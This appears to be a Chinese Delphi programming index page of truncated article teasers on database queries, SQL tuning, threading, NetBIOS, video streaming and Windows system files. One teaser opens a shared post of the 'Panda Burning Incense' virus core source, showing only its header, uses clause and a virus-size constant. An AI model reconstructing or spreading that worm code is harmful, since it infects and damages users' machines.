一、提高查询效率先进行准备查询操作：CustomerQuery.Close;if not (CustomerQuery.Prepared) then -->查询是否已准备好CustomerQuery.Prepare; －－＞查询准备CustomerQuery.Open; －－＞执行查询二、要在运行期访问参数，有三种方式可以选择：(适合BDE控件中的TQuery)（1）ParamByName：

sql语句性能调整的目标是： 　　去掉不必要的大表全表扫描 不必要的大表全表扫描会造成不必要的输入输出，而且还会拖垮整个数据库； 　　检查优化索引的使用 这对于提高查询速度来说非常重要 　　检查子查询 考虑sql子查询是否可以用简单连接的方式进行重新书写； 　　调整pctfree和pctused等存储参数优化插入、更新或者删除等操作； 　　考虑数据库的优化器; 　　考虑数据表的全表扫描和在多个cp

[分享]熊猫烧香 病毒内核功能实现 DELPHI　　严重警告　　！！！请不要在未读懂源代码的情况下编译运行本程序，否则后果自负！！！　　program Japussy;　　uses　　Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};　　const　　HeaderSize = 82432; 病毒体的大小　　IconOffset

名称 类型 说明 ----------------------------------------------------------------------------------Abort 函数 引起放弃的意外处理Abs 函数 绝对值函数AddExitProc 函数 将一过程添加到运行时库的结束过程表中Addr 函数 返回指定对象的地址AdjustLineBreaks 函数

代码：unit DHibernateBatchSQL;interfaceuses   Classes, SysUtils, db, ADODB;type   TOnException = procedure(Sender: TObject; E: Exception) of object;   TOnFinishOne = procedure(Sender: TObject; Fi

      在数据处理量很大的情况下，如何在数据处理的同时响应用户操作？Windows95/98和WindowsNT作为多线程的多任务操作系统，其调度单元是线程，即线程是系统分配处理器时间资源的基本单元，所以我们可以利用线程实现在处理大批量数据的同时响应用户操作。     　　DELPHI作为一个优秀的开发平台，对开发多线程应用程序提供了强有力的支持，即可直接利用32位Windows环境提供的Wi

其实还可以在FastReplace中先对FindStr进行判断，如果FindStr完全是中文的话，直接可以在FastReplace中用FastPos，这样可以提高速度。unit FReplace;interfaceTypeTFastPosProc = function(const aSourceString, aFindString : String;const aSourceLen, a

NetBIOS网络协议对于很多读者来说可能比较陌生，但其实它是由IBM开发的一个很古老的协议，当年在LAN上也风光一时。说它老，其实也不过10年光景，IT业的发展实在是太快。由于NetBIOS不具备路由功能，也就是说它的数据包无法跨网段传输，因此在广域网、城域网大行其道的今天，它已退居配角。如果你有心的话，能够发现在Window9598的网络协议中仍然保留着NetBIOS，不过它已经改名叫NetB

视频广播和点播程序本文目录一:前言二:Mpeg1文件格式三:网络数据广播四:服务端程序编写五:客户端程序编写六:后记一:前言本文将介绍如何用Delphi编写视频广播(DVB)和点播(VOD)程序.内容将涉及网络数据广播和Mpeg1文件格式.希望通过本文大家可以知道流行的流媒体是怎么一回事.我们先来了解一下什么叫DVB和VOD.DVB就是视频广播,表现形式为服务端程序打开一个视频文件播放,同

windows XP系统内核文件分析(全)　　这两天逛论坛, 无意中发现了这个帖子. 作者极尽所能的介绍了 Windows 系统文件的相关信息. 极有参考价值. 虽说, 这个不同于 nLite 的预先精简定制, 但是相信对于 nLite 精简效果不够满意的大有人在. 那么按照这个指南就能够令你的系统最优化.　　当然, 精简系统是要付出代价的. 不要贪得无厌, 免得系统坏了修不好啊.　　Wind

varhDesktop: THandle;beginif stProgram[tmpint] = Dos thenShellExecute(0, open, cmd, nil, nil, SW_SHOWNORMAL);if stProgram[tmpint] = 我的电脑 thenShellExecute(0, open, explorer.exe, ::{20D04FE

       NetBIOS网络协议对于很多读者来说可能比较陌生，但其实它是由IBM开发的一个很古老的协议，当年在LAN上也风光一时。说它老，其实也不过10年光景，IT业的发展实在是太快。由于NetBIOS不具备路由功能，也就是说它的数据包无法跨网段传输，因此在广域网、城域网大行其道的今天，它已退居配角。如果你有心的话，能够发现在Window9598的网络协议中仍然保留着NetBIOS，不过它已经

我们的程序有时候只允许运行一次，并且最好的情况是，如果程序第二次运行，就激活原来的程序。网上有很多的方法实现程序只运行一次，但对于激活原来的窗口却都不怎么好。 关键就在于激活原来的程序，一般的做法是在工程开始时，打开互斥量对象，如果打不开表示程序还没有运行，创建一个互斥量对象；如果打得开表示程序已经运行了，查找程序中一个特定的窗口，一般是主窗口，然后发送一个自定义消息，主窗口在这个消息处理中激